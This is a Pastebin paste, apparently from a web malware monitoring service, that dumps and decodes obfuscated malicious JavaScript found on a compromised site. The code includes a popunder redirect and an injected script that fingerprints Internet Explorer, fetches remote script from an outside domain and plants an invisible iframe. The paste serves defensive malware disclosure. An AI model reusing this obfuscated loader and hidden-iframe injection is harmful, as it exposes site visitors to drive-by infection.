Advertisement
Guest User

Quttera web malware monitor detected suspicious JS code

a guest
May 21st, 2013
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * Quttera web malware monitor detected suspicious obfuscated JavaScript code redirecting user
  3.  * to malicious URL http://worldfunnypics.com/index.php which further inject another malicious
  4.  * JavaScript code and hidden references of other malicious domains.
  5.  */
  6.  
  7. /*
  8.  * initial threat dump
  9.  */
  10.  
  11. document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%48%54%4D%4C%20%50%55%42%4C%49%43%20%22%2D%2F%2F%57%33%43%2F%2F%44 .... /* 10k characters skipped */ ... %3E%3C%62%6F%64%79%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E%09'));
  12.  
  13. /*
  14.  * decoded payload
  15.  */
  16.  
  17. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  18. <html>
  19.    
  20.     <head>
  21.         <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  22.         <script type="text/javascript">
  23.             var puShown = false;
  24.             var PopWidth = 1370;
  25.             var PopHeight = 800;
  26.             var PopFocus = 0;
  27.             var _Top = null;
  28.  
  29.             function GetWindowHeight() {
  30.                 var myHeight = 0;
  31.                 if (typeof (_Top.window.innerHeight) == 'number') {
  32.                     myHeight = _Top.window.innerHeight;
  33.                 } else if (_Top.document.documentElement && _Top.document.documentElement.clientHeight) {
  34.                     myHeight = _Top.document.documentElement.clientHeight;
  35.                 } else if (_Top.document.body && _Top.document.body.clientHeight) {
  36.                     myHeight = _Top.document.body.clientHeight;
  37.                 }
  38.                 return myHeight;
  39.             }
  40.             function GetWindowWidth() {
  41.                 var myWidth = 0;
  42.                 if (typeof (_Top.window.innerWidth) == 'number') {
  43.                     myWidth = _Top.window.innerWidth;
  44.                 } else if (_Top.document.documentElement && _Top.document.documentElement.clientWidth) {
  45.                     myWidth = _Top.document.documentElement.clientWidth;
  46.                 } else if (_Top.document.body && _Top.document.body.clientWidth) {
  47.                     myWidth = _Top.document.body.clientWidth;
  48.                 }
  49.                 return myWidth;
  50.             }
  51.             function GetWindowTop() {
  52.                 return (_Top.window.screenTop != undefined) ? _Top.window.screenTop : _Top.window.screenY;
  53.             }
  54.             function GetWindowLeft() {
  55.                 return (_Top.window.screenLeft != undefined) ? _Top.window.screenLeft : _Top.window.screenX;
  56.             }
  57.             function doOpen(url) {
  58.                 var popURL = "about:blank"
  59.                 var popID = "ad_" + Math.floor(89999999 * Math.random() + 10000000);
  60.                 var pxLeft = 0;
  61.                 var pxTop = 0;
  62.                 pxLeft = (GetWindowLeft() + (GetWindowWidth() / 2) - (PopWidth / 2));
  63.                 pxTop = (GetWindowTop() + (GetWindowHeight() / 2) - (PopHeight / 2));
  64.                 if (puShown == true) {
  65.                     return true;
  66.                 }
  67.                 var PopWin = _Top.window.open(popURL, popID, 'toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=' + pxTop + ',left=' + pxLeft + ',width=' + PopWidth + ',height=' + PopHeight);
  68.                 if (PopWin) {
  69.                     puShown = true;
  70.                     if (PopFocus == 0) {
  71.                         PopWin.blur();
  72.                         if (navigator.userAgent.toLowerCase().indexOf("applewebkit") > -1) {
  73.                             _Top.window.blur();
  74.                             _Top.window.focus();
  75.                         }
  76.                     }
  77.                     PopWin.Init = function (e) {
  78.                         with(e) {
  79.                             Params = e.Params;
  80.                             Main = function () {
  81.                                 if (typeof window.mozPaintCount != "undefined") {
  82.                                     var x = window.open("about:blank");
  83.                                     x.close();
  84.                                 }
  85.                                 var popURL = Params.PopURL;
  86.                                 try {
  87.                                     opener.window.focus();
  88.                                 } catch (err) {}
  89.                                 window.location = popURL;
  90.                             }
  91.                             Main();
  92.                         }
  93.                     };
  94.                     PopWin.Params = {
  95.                         PopURL: url
  96.                     }
  97.                     PopWin.Init(PopWin);
  98.                 }
  99.                 return PopWin;
  100.             }
  101.             function setCookie(name, value, time) {
  102.                 var expires = new Date();
  103.                 expires.setTime(expires.getTime() + time);
  104.                 document.cookie = name + '=' + value + '; path=/;' + '; expires=' + expires.toGMTString();
  105.             }
  106.             function getCookie(name) {
  107.                 var cookies = document.cookie.toString().split('; ');
  108.                 var cookie, c_name, c_value;
  109.                 for (var n = 0; n < cookies.length; n++) {
  110.                     cookie = cookies[n].split('=');
  111.                     c_name = cookie[0];
  112.                     c_value = cookie[1];
  113.                     if (c_name == name) {
  114.                         return c_value;
  115.                     }
  116.                 }
  117.                 return null;
  118.             }
  119.             function initPu() {
  120.                 _Top = self;
  121.                 if (top != self) {
  122.                     try {
  123.                         if (top.document.location.toString()) _Top = top;
  124.                     } catch (err) {}
  125.                 }
  126.                 if (document.attachEvent) {
  127.                     document.attachEvent('onclick', checkTarget);
  128.                 } else if (document.addEventListener) {
  129.                     document.addEventListener('click', checkTarget, false);
  130.                 }
  131.             }
  132.             function checkTarget(e) {
  133.                 if (!getCookie('popundr')) {
  134.                     var e = e || window.event;
  135.                     var win = doOpen('http://bit.ly/13mOaly');
  136.                     setCookie('popundr', 1, 24 * 60 * 60 * 1000);
  137.                 }
  138.             }
  139.             setTimeout(function () {
  140.                 initPu();
  141.             }, 90000) //-->
  142.         </script>
  143.     </head>
  144.     <body></body>
  145. </html>
  146.  
  147.  
  148.  
  149. /*
  150.  * content of http://bit.ly/13mOaly
  151.  */
  152.  
  153. <a href="http://hidethis.co/?url=http://www.amazon.com/?&amp;tag=worldfunnypic-20&amp;camp=216797&amp;creative=394541&amp;linkCode=ur1&amp;adid=0EW2CHFN51JXZM4GJ9C1&amp;&amp;ref-refURL=http://worldfunnypics.com/&amp;referer=http://worldfunnypics.com/index.php">moved here</a>
  154.  
  155.  
  156. /*
  157.  * malicious JavaScript injected by visiting http://worldfunnypics.com/index.php
  158.  */
  159.  
  160. /* sQB1P5VzfTJR6s34jdD6gslNw6r */
  161. var jRJV7 = "\x75serid\x4108\x31\x37FB\x32\x35";
  162. var uVp14M = "28";
  163. var wkskmqN = 1;
  164.  
  165. function BSROd(ThAa1) {
  166.     var Mhw543l;
  167.     var onkuv = document.cookie;
  168.     if (!onkuv) {
  169.         return null;
  170.     }
  171.     onkuv = onkuv.replace(/\s/g, "");
  172.     var jmv85 = onkuv.split(";");
  173.     for (var i = 0; i < jmv85.length; i++) {
  174.         var yVR7o = jmv85[i].split("=");
  175.         if (yVR7o[0] == ThAa1) {
  176.             Mhw543l = unescape(yVR7o[1]);
  177.             break;
  178.         }
  179.     }
  180.     return Mhw543l;
  181. };
  182.  
  183. function bn5wPSP(ThAa1, tjHOR77, dfe6VvH) {
  184.     var exp = new Date();
  185.     var HREqB = exp.getTime() + (dfe6VvH * 60 * 60 * 1000);
  186.     exp.setTime(HREqB);
  187.     var sD8ztEj = ThAa1 + "=" + escape(tjHOR77) + "; e\x78p\x69\x72\x65s=" + exp.toGMTString() + "\x3b d\x6fm\x61i\x6e=" + document.domain;
  188.     document.cookie = sD8ztEj;
  189. };
  190.  
  191. function OR8zbpb() {
  192.     bn5wPSP(jRJV7, uVp14M, 48);
  193. };
  194.  
  195. function UGus0() {
  196.     try {
  197.         if (ad_banner_content_str.length == 0) {
  198.             bn5wPSP(jRJV7, uVp14M, 24);
  199.             return;
  200.         }
  201.         var xpNcRs = unescape(ad_banner_content_str.replace(/[g-zG-Z]+/g, "").replace(/[=\-!@$;.,]+/g, "%"));
  202.         var T7uhy = document.createElement("\x44I\x56");
  203.         T7uhy.style.cssText = "po\x73\x69tion:ab\x73ol\x75t\x65;left\x3a\x30\x70x;t\x6fp:2\x30\x30px;\x6fpa\x63\x69\x74\x79:0\x3bfil\x74er:alpha(o\x70a\x63\x69\x74y=\x30)\x3b";
  204.         T7uhy.innerHTML = "<ifr\x61me \x6fn\x6c\x6fad\x3d\x27O\x52\x38z\x62pb\x28);\x27 \x73r\x63=\x27" + xpNcRs + "'\x20width\x3d19 \x68\x65i\x67ht=1\x39 f\x72\x61\x6deb\x6frde\x72\x3d0 \x73c\x72\x6flli\x6eg=\x27no\x27></\x69\x66rame\x3e";
  205.         document.body.appendChild(T7uhy);
  206.     } catch (e) {}
  207. };
  208.  
  209. function chFUHfD() {
  210.     var OAA9NjP = navigator.userAgent;
  211.     if (OAA9NjP.indexOf("W\x69\x6ed\x6fws") == -1 || OAA9NjP.indexOf("M\x53\x49E") == -1) {
  212.         return 0;
  213.     }
  214.     if (wkskmqN) {
  215.         try {
  216.             if (BSROd(jRJV7) == uVp14M) {
  217.                 return false;
  218.             }
  219.         } catch (e) {};
  220.     }
  221.     try {
  222.         var qVgRS = 0;
  223.         if (OAA9NjP.indexOf("\x4d\x53IE") != -1) {
  224.             try {
  225.                 qVgRS = sxj7zbe();
  226.  
  227.                 function sxj7zbe() {
  228.                     return 0;
  229.                 }
  230.             } catch (e) {
  231.                 qVgRS = 1;
  232.             }
  233.         }
  234.         if (qVgRS == 0) {
  235.             var yAu0FbO = document.createElement("\x53CR\x49\x50T");
  236.             yAu0FbO.type = "te\x78\x74\x2fj\x61vasc\x72\x69pt";
  237.             yAu0FbO.onreadystatechange = function () {
  238.                 if (this.readyState == "l\x6fa\x64\x65d" || this.readyState == "com\x70le\x74\x65") {
  239.                     UGus0();
  240.                 }
  241.             };
  242.             yAu0FbO.src = "http:\x2f/c\x64\x6e\x2ein\x73p\x69ra\x74ional\x79\x6f\x75\x74ubevideos\x2e\x63om\x2f\x6b";
  243.             document.body.appendChild(yAu0FbO);
  244.         }
  245.     } catch (e) {};
  246. };
  247. if (document.addEventListener) {
  248.     document.addEventListener("DOMC\x6f\x6e\x74entL\x6fa\x64\x65d", chFUHfD, false);
  249. } else {
  250.     document.write("<" + "scri\x70t id\x3d\x27a\x5ay\x55\x49cac\x311\x27 d\x65\x66e\x72\x20src\x3djavascr\x69p\x74:vo\x69\x64\x280\x29>\x3c" + "\/\x73\x63r\x69pt\x3e");
  251.     var script = document.getElementById("\x61\x5ayUIc\x61\x6311");
  252.     script.onreadystatechange = function () {
  253.         if (this.readyState == "\x63o\x6d\x70lete") {
  254.             chFUHfD();
  255.         }
  256.     };
  257. } /* FUhPrrPetzKkCftQu */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement